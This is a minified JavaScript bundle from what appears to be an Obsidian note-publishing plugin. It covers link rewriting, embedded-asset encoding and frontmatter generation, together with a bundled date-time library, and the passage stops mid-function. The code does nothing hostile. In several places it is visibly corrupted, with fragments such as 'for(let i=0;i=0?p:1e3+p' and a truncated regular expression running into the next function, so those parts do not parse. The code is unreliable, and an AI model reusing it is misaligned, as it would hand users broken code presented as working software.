P_={id:"bases",name:"Bases",settingKey:"useBases",priority:200,category:"core",assets:{},isAvailable(){return j4()},getPatterns(){return[]},async compile(t){return t.fullMatch}};m();function q4(){let t=app?.internalPlugins;return t?t.getPluginById("canvas")?.enabled??!1:!1}var N_={id:"canvas",name:"Canvas",settingKey:"useCanvas",priority:200,category:"core",assets:{},isAvailable(){return q4()},getPatterns(){return[]},async compile(t){return t.fullMatch}};Vt.register(O_);Vt.register(v_);Vt.register(T_);Vt.register(F_);Vt.register(A_);Vt.register(P_);Vt.register(N_);var km=class{app;settings;constructor(e,n){this.app=e,this.settings=n}compile=e=>async n=>{let r=n,i=Vt.getEnabled(this.settings),s={app:this.app,file:e};for(let o of i)o.shouldTransformFile?.(e)&&(r=await o.transformFile(e,r,s));for(let o of i)r=await this.compilePatterns(o,r,s);return r};async compilePatterns(e,n,r){let i=n,s=e.getPatterns();for(let o of s){let a=new RegExp(o.pattern.source,o.pattern.flags),l=[],c;for(;(c=a.exec(n))!==null;)l.push({descriptor:o,fullMatch:c[0],captures:c.slice(1)});for(let u of l){let f=await e.compile(u,r);i=i.replace(u.fullMatch,f)}}return i}getEnabledIntegrations(){return Vt.getEnabled(this.settings)}getCollectedAssets(){return Vt.getCollectedAssets(this.settings)}};var xm=class t{app;vault;settings;metadataCache;datastore;constructor(e,n,r,i,s){this.app=e,this.vault=n,this.settings=r,this.metadataCache=i,this.datastore=s,this.datastore}runCompilerSteps=(e,n)=>async r=>await n.reduce(async(i,s)=>{let o=await i;return s(e)(o)},Promise.resolve(r));async resolveEmbeddedAssets(e){let n=await this.extractBlobLinks(e),r=[];for(let i of n)try{let s=this.vault.getFileByPath(i);if(!s)continue;let o=await this.vault.readBinary(s);r.push({path:s.path,content:(0,ea.arrayBufferToBase64)(o)})}catch{continue}return r}async generateMarkdown(e){let n=await e.cachedRead();if(e.getType()==="base"){let a=await this.resolveEmbeddedAssets(e);return[n,{blobs:a}]}if(e.getType()==="canvas"){let a=await this.resolveEmbeddedAssets(e);return[n,{blobs:a}]}if(e.file.name.endsWith(".excalidraw")||e.file.name.endsWith(".excalidraw.md")){let a=await this.resolveEmbeddedAssets(e);return[n,{blobs:a}]}let r=[this.convertFrontMatter,this.convertIntegrations,this.linkTargeting,this.astTransform],i=await this.runCompilerSteps(e,r)(n),[s,o]=await this.convertFileLinks(e)(i);return[s,{blobs:o}]}stripVaultPath(e){if(this.settings.vaultPath==="/"||this.settings.vaultPath==="")return e;let n=new RegExp("\\[\\["+jr(this.settings.vaultPath)+"(.*?)\\]\\]","g"),r=new RegExp("\\[(.*?)\\]\\("+jr(this.settings.vaultPath)+"(.*?)\\)","g");try{e=e.replace(n,"[[$1]]"),e=e.replace(r,"[$1]($2)")}catch(i){S0.default.error(`Error while stripping vault path from text: ${String(i)}`)}return e}astTransform=()=>async e=>{let n=this.settings.vaultPath,r=n!=="/"&&n!=="",i=Wy().use(Nd).use(qd,["yaml"]).use(LD).use(Ud,{bullet:"-",emphasis:"_",rule:"-"}),s=i.parse(e),o=await i.run(s);r&&(ul(o,"link",l=>{l.url.startsWith(n)&&(l.url=l.url.substring(n.length))}),ul(o,"image",l=>{l.url.startsWith(n)&&(l.url=l.url.substring(n.length))}));let a=i.stringify(o);return a=a.replace(/^((?:> ?)+)\\\[(![\w-]+(?:\|[^\]\r\n]*)?)]/gm,"$1[$2]"),a=a.replace(/\\\[(\^[\w-]+)\]/g,"[$1]"),a=a.replace(/^(\|.*)/gm,l=>l.replace(/(!?\[\[[^\]]*?)(?n=>{let r=e.getCompiledFrontmatter(n);return n.replace(Gx,()=>r)};convertIntegrations=e=>async n=>(n=await new km(this.app,this.settings).compile(e)(n),n);linkTargeting=()=>e=>e.replace(Qx,"");static ASSET_EXTENSIONS=new Set(["png","jpg","jpeg","gif","webp","mp4","mkv","mov","avi","mp3","wav","ogg","pdf"]);extractBlobLinks=async e=>{let n=[];if(e.getType()==="canvas"){let i=await e.cachedRead();try{let s=JSON.parse(i);if(Array.isArray(s?.nodes)){for(let o of s.nodes)if(o.type==="file"&&typeof o.file=="string"){let a=this.metadataCache.getFirstLinkpathDest(o.file,e.getPath());a&&t.ASSET_EXTENSIONS.has(a.extension)&&n.push(a.path)}}}catch{S0.default.warn(`Failed to parse canvas file: ${e.getPath()}`)}return n}let r=this.metadataCache.getCache(e.getPath());if(e.getType()==="excalidraw"&&r?.links){for(let i of r.links)try{let s=this.metadataCache.getFirstLinkpathDest((0,ea.getLinkpath)(i.link),e.getPath());if(!s||!t.ASSET_EXTENSIONS.has(s.extension))continue;n.push(s.path)}catch{continue}return n}if(!r?.embeds)return n;for(let i of r.embeds)try{let s=this.metadataCache.getFirstLinkpathDest((0,ea.getLinkpath)(i.link),e.getPath());if(!s||!t.ASSET_EXTENSIONS.has(s.extension))continue;n.push(s.path)}catch{continue}return n};convertFileLinks=e=>async n=>{let r=e.getPath(),i=[],s=this.metadataCache.getCache(r);if(!s?.embeds)return[this.stripVaultPath(n),i];let o=n;for(let a of s.embeds)try{let l=this.metadataCache.getFirstLinkpathDest((0,ea.getLinkpath)(a.link),r);if(!l||!t.ASSET_EXTENSIONS.has(l.extension))continue;let c=await this.vault.readBinary(l),u=(0,ea.arrayBufferToBase64)(c),f=this.metadataCache.fileToLinktext(l,this.settings.vaultPath),h=this.metadataCache.getFirstLinkpathDest(l.path,this.settings.vaultPath)?.path??f;i.push({path:h,content:u});let d=a.original.startsWith("![["),p;if(d){let y=a.original.slice(3,-2),w=y.indexOf("|"),b=w>=0?y.substring(0,w):y,S=w>=0?y.substring(w):"",D=b.indexOf("#"),k=D>=0?b.substring(D):"";p=`![[${h}${k}${S}]]`}else{let y=a.original.indexOf("[")+1,w=a.original.indexOf("]"),b=a.original.substring(y,w),S=a.original.lastIndexOf("(")+1,D=a.original.lastIndexOf(")"),k=a.original.substring(S,D),E=k.indexOf("#"),v=E>=0?k.substring(E):"";p=`![${b}](${h}${v})`}let g=a.original.replace(/(\[\[[^\]]*?)\|([^\]]*?\]\])/g,"$1\\|$2");o.includes(a.original)?o=o.replace(a.original,p):o.includes(g)&&(o=o.replace(g,p))}catch{continue}return o=this.stripVaultPath(o),[o,i]}};m();m();var M_=require("obsidian");var Sm=class{settings;constructor(e){this.settings=e}compile(e,n){let r={...n};delete r.position;let i={publish:!0};i=this.addPermalink(e)(r,i),i=this.addDefaultPassThrough(r,i),i=this.addTimestampsFrontmatter(e)(r,i),i=this.addTags(r,i),i=this.addCSSClasses(r,i),i=this.addSocialImage(r,i);let s=this.settings.includeAllFrontmatter?{...i,...r}:i;return`--- -${this.settings.frontmatterFormat==="json"?JSON.stringify(s)+` -`:(0,M_.stringifyYaml)(s)}--- -`}addPermalink=e=>(n,r)=>{let i={...r};if(n&&(n.permalink?i.permalink=n.permalink:this.settings.usePermalink&&(i.permalink=Wx(n.permalink??e.getVaultPath())),n.aliases||n.alias)){let s=[],o=n.aliases;typeof n.aliases=="string"?s.push(...n.aliases.split(/,\s*/).filter(Boolean)):Array.isArray(o)&&s.push(...o);let a=n.alias;typeof n.alias=="string"?s.push(...n.alias.split(/,\s*/).filter(Boolean)):Array.isArray(a)&&s.push(...a),s.length>0&&(i.aliases=[...new Set(s)])}return i};addDefaultPassThrough(e,n){let r={...n};return e&&(e.title&&(r.title=e.title),e.description&&(r.description=e.description),e.draft&&(r.draft=e.draft),e.comments&&(r.comments=e.comments),e.lang&&(r.lang=e.lang),e.enableToc&&(r.enableToc=e.enableToc)),r}addTags(e,n){let r={...n};if(e){let i=(typeof e.tags=="string"?e.tags.split(/,\s*/).filter(Boolean):e.tags)||[];if(i.length>0&&(r.tags=i),e.tag!==void 0){if(typeof e.tag=="string")r.tags=[...r.tags??[],...e.tag.split(/,\s*/).filter(Boolean)];else if(Array.isArray(e.tag)){let s=e.tag;r.tags=[...r.tags??[],...s]}}r.tags&&(r.tags=[...new Set(r.tags)])}return r}addCSSClasses(e,n){let r={...n},i=[];if(e){let s=e.cssclasses;e.cssclasses!==void 0&&(typeof e.cssclasses=="string"?i.push(...e.cssclasses.split(/\s+/).filter(Boolean)):Array.isArray(s)&&i.push(...s));let o=e.cssclass;e.cssclass!==void 0&&(typeof e.cssclass=="string"?i.push(...e.cssclass.split(/\s+/).filter(Boolean)):Array.isArray(o)&&i.push(...o))}return i.length>0&&(r.cssclasses=[...new Set(i)]),r}addSocialImage(e,n){let r={...n};if(e){let i=e.socialImage??e.image??e.cover??"",s=e.socialDescription??"";i&&i!==""&&(r.socialImage=i),s&&s!==""&&(r.socialDescription=s)}return r}addTimestampsFrontmatter=e=>(n,r)=>{let{showCreatedTimestamp:i,showUpdatedTimestamp:s,showPublishedTimestamp:o}=this.settings,a=this.settings.includeAllFrontmatter,l=e.meta.getCreatedAt(),c=e.meta.getUpdatedAt(),u=e.meta.getPublishedAt();return l&&(i||a)&&(r.created=a?n.created??n.date??l:l),c&&(s||a)&&(r.modified=a?n.modified??n.lastmod??n.updated??n["last-modified"]??c:c),u&&(o||a)&&(r.published=a?n.published??n.publishDate??n.date??u:u),r}};m();m();m();m();m();var es=class extends Error{},Dm=class extends es{constructor(e){super(`Invalid DateTime: ${e.toMessage()}`)}},Em=class extends es{constructor(e){super(`Invalid Interval: ${e.toMessage()}`)}},_m=class extends es{constructor(e){super(`Invalid Duration: ${e.toMessage()}`)}},Kr=class extends es{},Cl=class extends es{constructor(e){super(`Invalid unit ${e}`)}},Dt=class extends es{},Zr=class extends es{constructor(){super("Zone is an abstract class")}};m();m();m();var ie="numeric",Yr="short",rr="long",Rs={year:ie,month:ie,day:ie},Lu={year:ie,month:Yr,day:ie},D0={year:ie,month:Yr,day:ie,weekday:Yr},Bu={year:ie,month:rr,day:ie},$u={year:ie,month:rr,day:ie,weekday:rr},Uu={hour:ie,minute:ie},ju={hour:ie,minute:ie,second:ie},qu={hour:ie,minute:ie,second:ie,timeZoneName:Yr},Vu={hour:ie,minute:ie,second:ie,timeZoneName:rr},Hu={hour:ie,minute:ie,hourCycle:"h23"},Wu={hour:ie,minute:ie,second:ie,hourCycle:"h23"},Gu={hour:ie,minute:ie,second:ie,hourCycle:"h23",timeZoneName:Yr},Qu={hour:ie,minute:ie,second:ie,hourCycle:"h23",timeZoneName:rr},Ku={year:ie,month:ie,day:ie,hour:ie,minute:ie},Zu={year:ie,month:ie,day:ie,hour:ie,minute:ie,second:ie},Yu={year:ie,month:Yr,day:ie,hour:ie,minute:ie},Ju={year:ie,month:Yr,day:ie,hour:ie,minute:ie,second:ie},E0={year:ie,month:Yr,day:ie,weekday:Yr,hour:ie,minute:ie},Xu={year:ie,month:rr,day:ie,hour:ie,minute:ie,timeZoneName:Yr},ef={year:ie,month:rr,day:ie,hour:ie,minute:ie,second:ie,timeZoneName:Yr},tf={year:ie,month:rr,day:ie,weekday:rr,hour:ie,minute:ie,timeZoneName:rr},nf={year:ie,month:rr,day:ie,weekday:rr,hour:ie,minute:ie,second:ie,timeZoneName:rr};m();m();m();m();var Nn=class{get type(){throw new Zr}get name(){throw new Zr}get ianaName(){return this.name}get isUniversal(){throw new Zr}offsetName(e,n){throw new Zr}formatOffset(e,n){throw new Zr}offset(e){throw new Zr}equals(e){throw new Zr}get isValid(){throw new Zr}};var _0=null,zs=class t extends Nn{static get instance(){return _0===null&&(_0=new t),_0}get type(){return"system"}get name(){return new Intl.DateTimeFormat().resolvedOptions().timeZone}get isUniversal(){return!1}offsetName(e,{format:n,locale:r}){return Tm(e,n,r)}formatOffset(e,n){return Ls(this.offset(e),n)}offset(e){return-new Date(e).getTimezoneOffset()}equals(e){return e.type==="system"}get isValid(){return!0}};m();var T0=new Map;function V4(t){let e=T0.get(t);return e===void 0&&(e=new Intl.DateTimeFormat("en-US",{hour12:!1,timeZone:t,year:"numeric",month:"2-digit",day:"2-digit",hour:"2-digit",minute:"2-digit",second:"2-digit",era:"short"}),T0.set(t,e)),e}var H4={year:0,month:1,day:2,era:3,hour:4,minute:5,second:6};function W4(t,e){let n=t.format(e).replace(/\u200E/g,""),r=/(\d+)\/(\d+)\/(\d+) (AD|BC),? (\d+):(\d+):(\d+)/.exec(n),[,i,s,o,a,l,c,u]=r;return[o,i,s,a,l,c,u]}function G4(t,e){let n=t.formatToParts(e),r=[];for(let i=0;i=0?p:1e3+p,(h-d)/(60*1e3)}equals(e){return e.type==="iana"&&e.name===this.name}get isValid(){return this.valid}};m();var R_={};function Q4(t,e={}){let n=JSON.stringify([t,e]),r=R_[n];return r||(r=new Intl.ListFormat(t,e),R_[n]=r),r}var F0=new Map;function I0(t,e={}){let n=JSON.stringify([t,e]),r=F0.get(n);return r===void 0&&(r=new Intl.DateTimeFormat(t,e),F0.set(n,r)),r}var A0=new Map;function K4(t,e={}){let n=JSON.stringify([t,e]),r=A0.get(n);return r===void 0&&(r=new Intl.NumberFormat(t,e),A0.set(n,r)),r}var O0=new Map;function Z4(t,e={}){let{base:n,...r}=e,i=JSON.stringify([t,r]),s=O0.get(i);return s===void 0&&(s=new Intl.RelativeTimeFormat(t,e),O0.set(i,s)),s}var rf=null;function Y4(){return rf||(rf=new Intl.DateTimeFormat().resolvedOptions().locale,rf)}var P0=new Map;function z_(t){let e=P0.get(t);return e===void 0&&(e=new Intl.DateTimeFormat(t).resolvedOptions(),P0.set(t,e)),e}var N0=new Map;function J4(t){let e=N0.get(t);if(!e){let n=new Intl.Locale(t);e="getWeekInfo"in n?n.getWeekInfo():n.weekInfo,"minimalDays"in e||(e={...L_,...e}),N0.set(t,e)}return e}function X4(t){let e=t.indexOf("-x-");e!==-1&&(t=t.substring(0,e));let n=t.indexOf("-u-");if(n===-1)return[t];{let r,i;try{r=I0(t).resolvedOptions(),i=t}catch{let l=t.substring(0,n);r=I0(l).resolvedOptions(),i=l}let{numberingSystem:s,calendar:o}=r;return[i,s,o]}}function ej(t,e,n){return(n||e)&&(t.includes("-u-")||(t+="-u"),n&&(t+=`-ca-${n}`),e&&(t+=`-nu-${e}`)),t}function tj(t){let e=[];for(let n=1;n<=12;n++){let r=$e.utc(2009,n,1);e.push(t(r))}return e}function nj(t){let e=[];for(let n=1;n<=7;n++){let r=$e.utc(2016,11,13+n);e.push(t(r))}return e}function Fm(t,e,n,r){let i=t.listingMode();return i==="error"?null:i==="en"?n(e):r(e)}function rj(t){return t.numberingSystem&&t.numberingSystem!=="latn"?!1:t.numberingSystem==="latn"||!t.locale||t.locale.startsWith("en")||z_(t.locale).numberingSystem==="latn"}var M0=class{constructor(e,n,r){this.padTo=r.padTo||0,this.floor=r.floor||!1;let{padTo:i,floor:s,...o}=r;if(!n||Object.keys(o).length>0){let a={useGrouping:!1,...r};r.padTo>0&&(a.minimumIntegerDigits=r.padTo),this.inf=K4(e,a)}}format(e){if(this.inf){let n=this.floor?Math.floor(e):e;return this.inf.format(n)}else{let n=this.floor?Math.floor(e):Fl(e,3);return mt(n,this.padTo)}}},R0=class{constructor(e,n,r){this.opts=r,this.originalZone=void 0;let i;if(this.opts.timeZone)this.dt=e;else if(e.zone.type==="fixed"){let o=-1*(e.offset/60),a=o>=0?`Etc/GMT+${o}`:`Etc/GMT${o}`;e.offset!==0&&an.create(a).valid?(i=a,this.dt=e):(i="UTC",this.dt=e.offset===0?e:e.setZone("UTC").plus({minutes:e.offset}),this.originalZone=e.zone)}else e.zone.type==="system"?this.dt=e:e.zone.type==="iana"?(this.dt=e,i=e.zone.name):(i="UTC",this.dt=e.setZone("UTC").plus({minutes:e.offset}),this.originalZone=e.zone);let s={...this.opts};s.timeZone=s.timeZone||i,this.dtf=I0(n,s)}format(){return this.originalZone?this.formatToParts().map(({value:e})=>e).join(""):this.dtf.format(this.dt.toJSDate())}formatToParts(){let e=this.dtf.formatToParts(this.dt.toJSDate());return this.originalZone?e.map(n=>{if(n.type==="timeZoneName"){let r=this.originalZone.offsetName(this.dt.ts,{locale:this.dt.locale,format:this.opts.timeZoneName});return{...n,value:r}}else return n}):e}resolvedOptions(){return this.dtf.resolvedOptions()}},z0=class{constructor(e,n,r){this.opts={style:"long",...r},!n&&Im()&&(this.rtf=Z4(e,r))}format(e,n){return this.rtf?this.rtf.format(e,n):B_(n,e,this.opts.numeric,this.opts.style!=="long")}formatToParts(e,n){return this.rtf?this.rtf.formatToParts(e,n):[]}},L_={firstDay:1,minimalDays:4,weekend:[6,7]},Qe=class t{static fromOpts(e){return t.create(e.locale,e.numberingSystem,e.outputCalendar,e.weekSettings,e.defaultToEN)}static create(e,n,r,i,s=!1){let o=e||Ge.defaultLocale,a=o||(s?"en-US":Y4()),l=n||Ge.defaultNumberingSystem,c=r||Ge.defaultOutputCalendar,u=sf(i)||Ge.defaultWeekSettings;return new t(a,l,c,u,o)}static resetCache(){rf=null,F0.clear(),A0.clear(),O0.clear(),P0.clear(),N0.clear()}static fromObject({locale:e,numberingSystem:n,outputCalendar:r,weekSettings:i}={}){return t.create(e,n,r,i)}constructor(e,n,r,i,s){let[o,a,l]=X4(e);this.locale=o,this.numberingSystem=n||a||null,this.outputCalendar=r||l||null,this.weekSettings=i,this.intl=ej(this.locale,this.numberingSystem,this.outputCalendar),this.weekdaysCache={format:{},standalone:{}},this.monthsCache={format:{},standalone:{}},this.meridiemCache=null,this.eraCache={},this.specifiedLocale=s,this.fastNumbersCached=null}get fastNumbers(){return this.fastNumbersCached==null&&(this.fastNumbersCached=rj(this)),this.fastNumbersCached}listingMode(){let e=this.isEnglish(),n=(this.numberingSystem===null||this.numberingSystem==="latn")&&(this.outputCalendar===null||this.outputCalendar==="gregory");return e&&n?"en":"intl"}clone(e){return!e||Object.getOwnPropertyNames(e).length===0?this:t.create(e.locale||this.specifiedLocale,e.numberingSystem||this.numberingSystem,e.outputCalendar||this.outputCalendar,sf(e.weekSettings)||this.weekSettings,e.defaultToEN||!1)}redefaultToEN(e={}){return this.clone({...e,defaultToEN:!0})}redefaultToSystem(e={}){return this.clone({...e,defaultToEN:!1})}months(e,n=!1){return Fm(this,e,L0,()=>{let r=n?{month:e,day:"numeric"}:{month:e},i=n?"format":"standalone";return this.monthsCache[i][e]||(this.monthsCache[i][e]=tj(s=>this.extract(s,r,"month"))),this.monthsCache[i][e]})}weekdays(e,n=!1){return Fm(this,e,B0,()=>{let r=n?{weekday:e,year:"numeric",month:"long",day:"numeric"}:{weekday:e},i=n?"format":"standalone";return this.weekdaysCache[i][e]||(this.weekdaysCache[i][e]=nj(s=>this.extract(s,r,"weekday"))),this.weekdaysCache[i][e]})}meridiems(){return Fm(this,void 0,()=>$0,()=>{if(!this.meridiemCache){let e={hour:"numeric",hourCycle:"h12"};this.meridiemCache=[$e.utc(2016,11,13,9),$e.utc(2016,11,13,19)].map(n=>this.extract(n,e,"dayperiod"))}return this.meridiemCache})}eras(e){return Fm(this,e,U0,()=>{let n={era:e};return this.eraCache[e]||(this.eraCache[e]=[$e.utc(-40,1,1),$e.utc(2017,1,1)].map(r=>this.extract(r,n,"era"))),this.eraCache[e]})}extract(e,n,r){let i=this.dtFormatter(e,n),s=i.formatToParts(),o=s.find(a=>a.type.toLowerCase()===r);return o?o.value:null}numberFormatter(e={}){return new M0(this.intl,e.forceSimple||this.fastNumbers,e)}dtFormatter(e,n={}){return new R0(e,this.intl,n)}relFormatter(e={}){return new z0(this.intl,this.isEnglish(),e)}listFormatter(e={}){return Q4(this.intl,e)}isEnglish(){return this.locale==="en"||this.locale.toLowerCase()==="en-us"||z_(this.intl).locale.startsWith("en-us")}getWeekSettings(){return this.weekSettings?this.weekSettings:Am()?J4(this.locale):L_}getStartOfWeek(){return this.getWeekSettings().firstDay}getMinDaysInFirstWeek(){return this.getWeekSettings().minimalDays}getWeekendDays(){return this.getWeekSettings().weekend}equals(e){return this.locale===e.locale&&this.numberingSystem===e.numberingSystem&&this.outputCalendar===e.outputCalendar}toString(){return`Locale(${this.locale}, ${this.numberingSystem}, ${this.outputCalendar})`}};m();m();var q0=null,Ht=class t extends Nn{static get utcInstance(){return q0===null&&(q0=new t(0)),q0}static instance(e){return e===0?t.utcInstance:new t(e)}static parseSpecifier(e){if(e){let n=e.match(/^utc(?:([+-]\d{1,2})(?::(\d{2}))?)?$/i);if(n)return new t(ta(n[1],n[2]))}return null}constructor(e){super(),this.fixed=e}get type(){return"fixed"}get name(){return this.fixed===0?"UTC":`UTC${Ls(this.fixed,"narrow")}`}get ianaName(){return this.fixed===0?"Etc/UTC":`Etc/GMT${Ls(-this.fixed,"narrow")}`}offsetName(){return this.name}formatOffset(e,n){return Ls(this.fixed,n)}get isUniversal(){return!0}offset(){return this.fixed}equals(e){return e.type==="fixed"&&e.fixed===this.fixed}get isValid(){return!0}};m();var Il=class extends Nn{constructor(e){super(),this.zoneName=e}get type(){return"invalid"}get name(){return this.zoneName}get isUniversal(){return!1}offsetName(){return null}formatOffset(){return""}offset(){return NaN}equals(){return!1}get isValid(){return!1}};function Jr(t,e){let n;if(ye(t)||t===null)return e;if(t instanceof Nn)return t;if($_(t)){let r=t.toLowerCase();return r==="default"?e:r==="local"||r==="system"?zs.instance:r==="utc"||r==="gmt"?Ht.utcInstance:Ht.parseSpecifier(r)||an.create(t)}else return Xr(t)?Ht.instance(t):typeof t=="object"&&"offset"in t&&typeof t.offset=="function"?t:new Il(t)}m();var H0={arab:"[\u0660-\u0669]",arabext:"[\u06F0-\u06F9]",bali:"[\u1B50-\u1B59]",beng:"[\u09E6-\u09EF]",deva:"[\u0966-\u096F]",fullwide:"[\uFF10-\uFF19]",gujr:"[\u0AE6-\u0AEF]",hanidec:"[\u3007|\u4E00|\u4E8C|\u4E09|\u56DB|\u4E94|\u516D|\u4E03|\u516B|\u4E5D]",khmr:"[\u17E0-\u17E9]",knda:"[\u0CE6-\u0CEF]",laoo:"[\u0ED0-\u0ED9]",limb:"[\u1946-\u194F]",mlym:"[\u0D66-\u0D6F]",mong:"[\u1810-\u1819]",mymr:"[\u1040-\u1049]",orya:"[\u0B66-\u0B6F]",tamldec:"[\u0BE6-\u0BEF]",telu:"[\u0C66-\u0C6F]",thai:"[\u0E50-\u0E59]",tibt:"[\u0F20-\u0F29]",latn:"\\d"},U_={arab:[1632,1641],arabext:[1776,1785],bali:[6992,7001],beng:[2534,2543],deva:[2406,2415],fullwide:[65296,65303],gujr:[2790,2799],khmr:[6112,6121],knda:[3302,3311],laoo:[3792,3801],limb:[6470,6479],mlym:[3430,3439],mong:[6160,6169],mymr:[4160,4169],orya:[2918,2927],tamldec:[3046,3055],telu:[3174,3183],thai:[3664,3673],tibt:[3872,3881]},ij=H0.hanidec.replace(/[\[|\]]/g,"").split("");function j_(t){let e=parseInt(t,10);if(isNaN(e)){e="";for(let n=0;n=s&&r<=o&&(e+=r-s)}}return parseInt(e,10)}else return e}var V0=new Map;function q_(){V0.clear()}function Cr({numberingSystem:t},e=""){let n=t||"latn",r=V0.get(n);r===void 0&&(r=new Map,V0.set(n,r));let i=r.get(e);return i===void 0&&(i=new RegExp(`${H0[n]}${e}`),r.set(e,i)),i}var V_=()=>Date.now(),H_="system",W_=null,G_=null,Q_=null,K_=60,Z_,Y_=null,Ge=class{static get now(){return V_}static set now(e){V_=e}static set defaultZone(e){H_=e}static get defaultZone(){return Jr(H_,zs.instance)}static get defaultLocale(){return W_}static set defaultLocale(e){W_=e}static get defaultNumberingSystem(){return G_}static set defaultNumberingSystem(e){G_=e}static get defaultOutputCalendar(){return Q_}static set defaultOutputCalendar(e){Q_=e}static get defaultWeekSettings(){return Y_}static set defaultWeekSettings(e){Y_=sf(e)}static get twoDigitCutoffYear(){return K_}static set twoDigitCutoffYear(e){K_=e%100}static get throwOnInvalid(){return Z_}static set throwOnInvalid(e){Z_=e}static resetCaches(){Qe.resetCache(),an.resetCache(),$e.resetCache(),q_()}};m();m();var Wt=class{constructor(e,n){this.reason=e,this.explanation=n}toMessage(){return this.explanation?`${this.reason}: ${this.explanation}`:this.reason}};var J_=[0,31,59,90,120,151,181,212,243,273,304,334],X_=[0,31,60,91,121,152,182,213,244,274,305,335];function Tr(t,e){return new Wt("unit out of range",`you specified ${e} (of type ${typeof e}) as a ${t}, which is invalid`)}function Om(t,e,n){let r=new Date(Date.UTC(t,e-1,n));t<100&&t>=0&&r.setUTCFullYear(r.getUTCFullYear()-1900);let i=r.getUTCDay();return i===0?7:i}function eC(t,e,n){return n+(ra(t)?X_:J_)[e-1]}function tC(t,e){let n=ra(t)?X_:J_,r=n.findIndex(s=>sna(r,e,n)?(c=r+1,l=1):c=r,{weekYear:c,weekNumber:l,weekday:a,...lf(t)}}function W0(t,e=4,n=1){let{weekYear:r,weekNumber:i,weekday:s}=t,o=Pm(Om(r,1,e),n),a=Bs(r),l=i*7+s-o-7+e,c;l<1?(c=r-1,l+=Bs(c)):l>a?(c=r+1,l-=Bs(r)):c=r;let{month:u,day:f}=tC(c,l);return{year:c,month:u,day:f,...lf(t)}}function Nm(t){let{year:e,month:n,day:r}=t,i=eC(e,n,r);return{year:e,ordinal:i,...lf(t)}}function G0(t){let{year:e,ordinal:n}=t,{month:r,day:i}=tC(e,n);return{year:e,month:r,day:i,...lf(t)}}function Q0(t,e){if(!ye(t.localWeekday)||!ye(t.localWeekNumber)||!ye(t.localWeekYear)){if(!ye(t.weekday)||!ye(t.weekNumber)||!ye(t.weekYear))throw new Kr("Cannot mix locale-based week fields with ISO-based week fields");return ye(t.localWeekday)||(t.weekday=t.localWeekday),ye(t.localWeekNumber)||(t.weekNumber=t.localWeekNumber),ye(t.localWeekYear)||(t.weekYear=t.localWeekYear),delete t.localWeekday,delete t.localWeekNumber,delete t.localWeekYear,{minDaysInFirstWeek:e.getMinDaysInFirstWeek(),startOfWeek:e.getStartOfWeek()}}else return{minDaysInFirstWeek:4,startOfWeek:1}}function nC(t,e=4,n=1){let r=af(t.weekYear),i=ir(t.weekNumber,1,na(t.weekYear,e,n)),s=ir(t.weekday,1,7);return r?i?s?!1:Tr("weekday",t.weekday):Tr("week",t.weekNumber):Tr("weekYear",t.weekYear)}function rC(t){let e=af(t.year),n=ir(t.ordinal,1,Bs(t.year));return e?n?!1:Tr("ordinal",t.ordinal):Tr("year",t.year)}function K0(t){let e=af(t.year),n=ir(t.month,1,12),r=ir(t.day,1,Al(t.year,t.month));return e?n?r?!1:Tr("day",t.day):Tr("month",t.month):Tr("year",t.year)}function Z0(t){let{hour:e,minute:n,second:r,millisecond:i}=t,s=ir(e,0,23)||e===24&&n===0&&r===0&&i===0,o=ir(n,0,59),a=ir(r,0,59),l=ir(i,0,999);return s?o?a?l?!1:Tr("millisecond",i):Tr("second",r):Tr("minute",n):Tr("hour",e)}function ye(t){return typeof t>"u"}function Xr(t){return typeof t=="number"}function af(t){return typeof t=="number"&&t%1===0}function $_(t){return typeof t=="string"}function sC(t){return Object.prototype.toString.call(t)==="[object Date]"}function Im(){try{return typeof Intl<"u"&&!!Intl.RelativeTimeFormat}catch{return!1}}function Am(){try{return typeof Intl<"u"&&!!Intl.Locale&&("weekInfo"in Intl.Locale.prototype||"getWeekInfo"in Intl.Locale.prototype)}catch{return!1}}function oC(t){return Array.isArray(t)?t:[t]}function Y0(t,e,n){if(t.length!==0)return t.reduce((r,i)=>{let s=[e(i),i];return r&&n(r[0],s[0])===r[0]?r:s},null)[1]}function aC(t,e){return e.reduce((n,r)=>(n[r]=t[r],n),{})}function $s(t,e){return Object.prototype.hasOwnProperty.call(t,e)}function sf(t){if(t==null)return null;if(typeof t!="object")throw new Dt("Week settings must be an object");if(!ir(t.firstDay,1,7)||!ir(t.minimalDays,1,7)||!Array.isArray(t.weekend)||t.weekend.some(e=>!ir(e,1,7)))throw new Dt("Invalid week settings");return{firstDay:t.firstDay,minimalDays:t.minimalDays,weekend:Array.from(t.weekend)}}function ir(t,e,n){return af(t)&&t>=e&&t<=n}function sj(t,e){return t-e*Math.floor(t/e)}function mt(t,e=2){let n=t<0,r;return n?r="-"+(""+-t).padStart(e,"0"):r=(""+t).padStart(e,"0"),r}function ts(t){if(!(ye(t)||t===null||t===""))return parseInt(t,10)}function Us(t){if(!(ye(t)||t===null||t===""))return parseFloat(t)}function cf(t){if(!(ye(t)||t===null||t==="")){let e=parseFloat("0."+t)*1e3;return Math.floor(e)}}function Fl(t,e,n=!1){let r=10**e;return(n?Math.trunc:Math.round)(t*r)/r}function ra(t){return t%4===0&&(t%100!==0||t%400===0)}function Bs(t){return ra(t)?366:365}function Al(t,e){let n=sj(e-1,12)+1,r=t+(e-n)/12;return n===2?ra(r)?29:28:[31,null,31,30,31,30,31,31,30,31,30,31][n-1]}function Tl(t){let e=Date.UTC(t.year,t.month-1,t.day,t.hour,t.minute,t.second,t.millisecond);return t.year<100&&t.year>=0&&(e=new Date(e),e.setUTCFullYear(t.year,t.month-1,t.day)),+e}function iC(t,e,n){return-Pm(Om(t,1,e),n)+e-1}function na(t,e=4,n=1){let r=iC(t,e,n),i=iC(t+1,e,n);return(Bs(t)-r+i)/7}function uf(t){return t>99?t:t>Ge.twoDigitCutoffYear?1900+t:2e3+t}function Tm(t,e,n,r=null){let i=new Date(t),s={hourCycle:"h23",year:"numeric",month:"2-digit",day:"2-digit",hour:"2-digit",minute:"2-digit"};r&&(s.timeZone=r);let o={timeZoneName:e,...s},a=new Intl.DateTimeFormat(n,o).formatToParts(i).find(l=>l.type.toLowerCase()==="timezonename");return a?a.value:null}function ta(t,e){let n=parseInt(t,10);Number.isNaN(n)&&(n=0);let r=parseInt(e,10)||0,i=n<0||Object.is(n,-0)?-r:r;return n*60+i}function J0(t){let e=Number(t);if(typeof t=="boolean"||t===""||Number.isNaN(e))throw new Dt(`Invalid unit value ${t}`);return e}function Ol(t,e){let n={};for(let r in t)if($s(t,r)){let i=t[r];if(i==null)continue;n[e(r)]=J0(i)}return n}function Ls(t,e){let 